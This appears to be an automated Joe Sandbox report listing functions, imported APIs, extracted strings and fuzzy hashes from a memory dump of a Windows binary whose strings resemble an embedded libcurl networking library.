Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdup
String ID: Serial Number: %s$ Signature Algorithm: %s$FALSE$Serial Number$Signature Algorithm
API String ID: 2653869212-3672398475
Opcode ID: ae44b6cc25f1171be3da277d17204bf0ad59979bfeed4c3c9ad4a1016a462e04
Instruction ID: ddb5b068b64e0e66a17c76c2e59510674adb73a22ce0c22724bd28a151e5291d
Opcode Fuzzy Hash: ae44b6cc25f1171be3da277d17204bf0ad59979bfeed4c3c9ad4a1016a462e04
Instruction Fuzzy Hash: 6341A362A2C782C5EB14BB6194441F9A764BF05BC8FC50631CE5E1B399DF3CE142CB20

Function 00007FF747D49FB0 Relevance: 13.8, APIs: 11, Instructions: 52COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,00007FF747D519C9,?,?,00000000,00007FF747D51F05), ref: 00007FF747D49FDD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,00007FF747D519C9,?,?,00000000,00007FF747D51F05), ref: 00007FF747D4A007
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,00007FF747D519C9,?,?,00000000,00007FF747D51F05), ref: 00007FF747D4A011
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,00007FF747D519C9,?,?,00000000,00007FF747D51F05), ref: 00007FF747D4A01B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,00007FF747D519C9,?,?,00000000,00007FF747D51F05), ref: 00007FF747D4A025
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,00007FF747D519C9,?,?,00000000,00007FF747D51F05), ref: 00007FF747D4A02F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,00007FF747D519C9,?,?,00000000,00007FF747D51F05), ref: 00007FF747D4A039
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,00007FF747D519C9,?,?,00000000,00007FF747D51F05), ref: 00007FF747D4A043
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,00007FF747D519C9,?,?,00000000,00007FF747D51F05), ref: 00007FF747D4A04D
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,00007FF747D519C9,?,?,00000000,00007FF747D51F05), ref: 00007FF747D4A056
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,00007FF747D519C9,?,?,00000000,00007FF747D51F05), ref: 00007FF747D4A071

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d7d34b462b37f848da9da001d28a70684121efa3768a5134ab5a88cf8768e960
Instruction ID: 4dd4abd16f96b28a2126692198a204209ac2ccc252175ab70425614d8de9c753
Opcode Fuzzy Hash: d7d34b462b37f848da9da001d28a70684121efa3768a5134ab5a88cf8768e960
Instruction Fuzzy Hash: CE21C976A68A41C2DB20BF61E854229A370FB88FC5F541531DE9E5376CCE3CD846DB24

Function 00007FF747D7F1F0 Relevance: 13.7, APIs: 3, Strings: 6, Instructions: 223COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F345
memcpy.VCRUNTIME140 ref: 00007FF747D7F362

Strings

%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 00007FF747D7F532
%ld, xrefs: 00007FF747D7F2AE
%%25%s], xrefs: 00007FF747D7F372
https, xrefs: 00007FF747D7F280
file, xrefs: 00007FF747D7F20B
file://%s%s%s, xrefs: 00007FF747D7F23E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: mallocmemcpy
String ID: %%25%s]$%ld$%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s$file$file://%s%s%s$https
API String ID: 4276657696-1832275178
Opcode ID: 469a3e2e16c267789cc01c7905be1eba584b916866bd235b0b9d2c5f4a0e47db
Instruction ID: ed94138fc10c179ab28c9e1957f3a765a56b56ba8d263ec91e13fefcba366245
Opcode Fuzzy Hash: 469a3e2e16c267789cc01c7905be1eba584b916866bd235b0b9d2c5f4a0e47db
Instruction Fuzzy Hash: 30A15D62A1DB82C5EA79BF11A5003A9B7A4FB44B84F844236CE8D07799DF3CE447CB10

Function 00007FF747D8825C Relevance: 13.7, APIs: 5, Strings: 4, Instructions: 174COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8829F
memcpy.VCRUNTIME140 ref: 00007FF747D882C5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88398
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D884D2

Strings

Expire Date: %s, xrefs: 00007FF747D883F7
Public Key Algorithm, xrefs: 00007FF747D88488
Public Key Algorithm: %s, xrefs: 00007FF747D884A2
Expire Date, xrefs: 00007FF747D883DD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Expire Date: %s$ Public Key Algorithm: %s$Expire Date$Public Key Algorithm
API String ID: 3401966785-2901970132
Opcode ID: 4ccdc9ab91a0535d77fa9aa8c0208e1d0a080a60d205a77c385ac69a42cf734e
Instruction ID: 0e70faa4cda1c2613ba215ce249dc0b58a0dc40068e7f86b2bb64776289df629
Opcode Fuzzy Hash: 4ccdc9ab91a0535d77fa9aa8c0208e1d0a080a60d205a77c385ac69a42cf734e
Instruction Fuzzy Hash: 2561F651A2C782C5EB18B76185142B9A791FF067D4F894735CA6F0B7C5EE3CE146C720

Function 00007FF747D876E6 Relevance: 13.7, APIs: 5, Strings: 4, Instructions: 169COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8771F
memcpy.VCRUNTIME140 ref: 00007FF747D8774A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D87933

Strings

Serial Number: %s, xrefs: 00007FF747D8787C
Serial Number, xrefs: 00007FF747D87862
Signature Algorithm, xrefs: 00007FF747D87907
Signature Algorithm: %s, xrefs: 00007FF747D87921

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 3401966785-517259162
Opcode ID: e569bb298ba613fd79d8233cd29af96ef3bc2d3c48f7074fe414be77698e85c2
Instruction ID: 9128d0fbd22ed20d7ca5aef3ebf0209d1ded31c48f7aaec50369eb8e6e7b12b0
Opcode Fuzzy Hash: e569bb298ba613fd79d8233cd29af96ef3bc2d3c48f7074fe414be77698e85c2
Instruction Fuzzy Hash: 5E612751A2C382C5FB18B76285142B9AB65AF05BE4F854735CA6F0B7C9DE3CE147CB20

Function 00007FF747D81790 Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 148COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,NTLM,?,00007FF747D64DF8), ref: 00007FF747D81920
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,NTLM,?,00007FF747D64DF8), ref: 00007FF747D81957
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,NTLM,?,00007FF747D64DF8), ref: 00007FF747D8197E

Strings

HTTP, xrefs: 00007FF747D817A6
NTLM, xrefs: 00007FF747D81796
%sAuthorization: NTLM %s, xrefs: 00007FF747D81938, 00007FF747D819E4
Proxy-, xrefs: 00007FF747D8192E, 00007FF747D819DA

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %sAuthorization: NTLM %s$HTTP$NTLM$Proxy-
API String ID: 1294909896-3948863929
Opcode ID: df50d3c08605608153538d01eb3d3f3672086f7079c31e4fc3a596cca71a9e3d
Instruction ID: 7e1445f6fa0e339dfa2cc9cb499a15d1607323d1f80fc37bdb608d8c03b3b390
Opcode Fuzzy Hash: df50d3c08605608153538d01eb3d3f3672086f7079c31e4fc3a596cca71a9e3d
Instruction Fuzzy Hash: 41618132A1CB81C1E760EF15E4443AAB3A5FB49B84F81023ADA8D47758DF3DD446CB21

Function 00007FF747D78420 Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 111stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D4B430: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D4B474

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7853D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D78595
memcpy.VCRUNTIME140 ref: 00007FF747D785BA

Strings

: %ld, xrefs: 00007FF747D78461
Got a blank Session ID, xrefs: 00007FF747D784E7
Session:, xrefs: 00007FF747D784AE
Unable to read the CSeq header: [%s], xrefs: 00007FF747D78492
CSeq:, xrefs: 00007FF747D7843D
Got RTSP Session ID Line [%s], but wanted ID [%s], xrefs: 00007FF747D7854E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: __stdio_common_vsscanfmallocmemcpystrncmp
String ID: : %ld$CSeq:$Got RTSP Session ID Line [%s], but wanted ID [%s]$Got a blank Session ID$Session:$Unable to read the CSeq header: [%s]
API String ID: 1392894463-1168109407
Opcode ID: a3a8ded29e8c24b2ee7d97979504e82674f803be7010108302ac092b5f4bb2fd
Instruction ID: e01ee36d198c8cfe487f6ade20c7debd6b33d3af2f1cb95f307bcc23b3a56a9a
Opcode Fuzzy Hash: a3a8ded29e8c24b2ee7d97979504e82674f803be7010108302ac092b5f4bb2fd
Instruction Fuzzy Hash: 4A418561A2C682C6EB50BB2598402B9A791EF45BC4FC84335DA5E5B285DF2CE507CB30

Function 00007FF747D76E8E Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 268COMMON

Download Yara Rule

APIs

_fstat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FF747D76F27

Part of subcall function 00007FF747D774D0: strchr.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF747D77506
Part of subcall function 00007FF747D774D0: _open.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF747D7755B

Strings

Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT%s, xrefs: 00007FF747D7708B
Can't get the size of file., xrefs: 00007FF747D77109
failed to resume file:// transfer, xrefs: 00007FF747D77286
Content-Length: %I64d, xrefs: 00007FF747D76F83
Accept-ranges: bytes, xrefs: 00007FF747D76FBE

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _fstat64_openstrchr
String ID: Accept-ranges: bytes$Can't get the size of file.$Content-Length: %I64d$Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT%s$failed to resume file:// transfer
API String ID: 3410096895-1509146019
Opcode ID: 01dd6ab8f4d09f50ff5c44cdaf420cac4376a94eb13f76e700b4a2f32865bb00
Instruction ID: 6c526c9079b45f0a237590ce1d857a8f51986be96ea5c66cafc19decb51c7eae
Opcode Fuzzy Hash: 01dd6ab8f4d09f50ff5c44cdaf420cac4376a94eb13f76e700b4a2f32865bb00
Instruction Fuzzy Hash: B2B1A671A2C783C5EB20BB2199503BAA395FF84B94FC44631DE4D5B755EE3CE4028B60

Function 00007FF747D8C530 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 252stringCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8C5C8
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8C624
strchr.VCRUNTIME140 ref: 00007FF747D8C80C
strchr.VCRUNTIME140 ref: 00007FF747D8C87A

Strings

0123456789-, xrefs: 00007FF747D8C873
<DIR>, xrefs: 00007FF747D8C750
APM0123456789:, xrefs: 00007FF747D8C805

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strchr$mallocrealloc
String ID: 0123456789-$<DIR>$APM0123456789:
API String ID: 359134164-4291660576
Opcode ID: 179db5e6ecdb2eedd8a35f1361e26f9261d76770616d7f3031361c8db7d08d42
Instruction ID: d00cc2ee0c9a24a87c4f09eb03db61df9b4602f26ff6f7b17e6aaaa4d766f544
Opcode Fuzzy Hash: 179db5e6ecdb2eedd8a35f1361e26f9261d76770616d7f3031361c8db7d08d42
Instruction Fuzzy Hash: F3B17D36A1D702C6EB25BF25D050339A7A4FB48B48F964235CA6E07794CF38E45ACB60

Function 00007FF747D7E800 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7E847
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7E8AB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7E9DF

Part of subcall function 00007FF747D6C990: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,00000000,00007FF747D53D1F), ref: 00007FF747D6C9BE

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7E8DE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7EA1D

Strings

%s?%s, xrefs: 00007FF747D7E839
Failed sending Gopher request, xrefs: 00007FF747D7E9E5

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: %s?%s$Failed sending Gopher request
API String ID: 111713529-132698833
Opcode ID: ddaea8a7c805b85e97cfc97d06849bffeb7f6a5976ec26ddf779ff86ca1f3d16
Instruction ID: c12df53ddb472df3607b07f1bc68bc7289cd9c20b185e0a18877474f79667cc1
Opcode Fuzzy Hash: ddaea8a7c805b85e97cfc97d06849bffeb7f6a5976ec26ddf779ff86ca1f3d16
Instruction Fuzzy Hash: D1517222A2DA82C2E651BB75A8001BAE790BB85BE4FD44331DE6D477D5EF3CD4038B14

Function 00007FF747D394E0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A9ED
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3AA1B
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3AA29
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3AA63
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3AAB4

Strings

value, xrefs: 00007FF747D3A959

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy
String ID: value
API String ID: 1346393832-494360628
Opcode ID: 418e4009ded77f161f9af62bfedde694c8209946c77fb1f942d757c564764665
Instruction ID: a64d2f5bb83e606bdc22d5c7c02653be2deb040e8edc8aed58d580f63d3e34c8
Opcode Fuzzy Hash: 418e4009ded77f161f9af62bfedde694c8209946c77fb1f942d757c564764665
Instruction Fuzzy Hash: 6161C872B2CA85C6EB10EB64E9443ED6361FB853A4F404331EA6C12AD9DF7CD086C750

Function 00007FF747D8A0C5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A108
memcpy.VCRUNTIME140 ref: 00007FF747D8A12D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A1FF
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A243
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A257
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A2BE

Strings

TRUE, xrefs: 00007FF747D8A21D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freeisupper$mallocmemcpy
String ID: TRUE
API String ID: 3511497317-3412697401
Opcode ID: 8d89a09bf5400fcc1cd5c5f644c77fedc83b1f5116acc45fddb3a315d80fcb1c
Instruction ID: 1ee10bb1474cba3c658662567bfc7ea6bd2a3d3a56a308b8f4af833523e59997
Opcode Fuzzy Hash: 8d89a09bf5400fcc1cd5c5f644c77fedc83b1f5116acc45fddb3a315d80fcb1c
Instruction Fuzzy Hash: 66515A11A2D692C5FB39BB244114339AB92EF52BA0F864735C6BF476C5CE2DA043CB30

Function 00007FF747D774D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF747D77506
_open.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF747D7755B
_fstat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF747D775CC
_close.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF747D775D9
_close.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF747D776EB

Strings

Can't get the size of %s, xrefs: 00007FF747D775E2
Can't open %s for writing, xrefs: 00007FF747D7756B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _close$_fstat64_openstrchr
String ID: Can't get the size of %s$Can't open %s for writing
API String ID: 423814720-3544860555
Opcode ID: 4646d5958fd0afe558b6e628580ec2560eed784401f815918089c05b269bd973
Instruction ID: 421de2cabf89e7e2f9d497008bc369eb849236c45f2e34c3ead67c4b1bbe13f0
Opcode Fuzzy Hash: 4646d5958fd0afe558b6e628580ec2560eed784401f815918089c05b269bd973
Instruction Fuzzy Hash: C351A461B2DA82C2EB54BB2594103BDA395FF85BE4FC48635DA4E4B395DE3CE4438B10

Function 00007FF747D7F740 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136stringCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF747D7F750
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FA0B

Strings

%%%02x, xrefs: 00007FF747D7F8B3

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdupstrtol
String ID: %%%02x
API String ID: 2999891020-4020994737
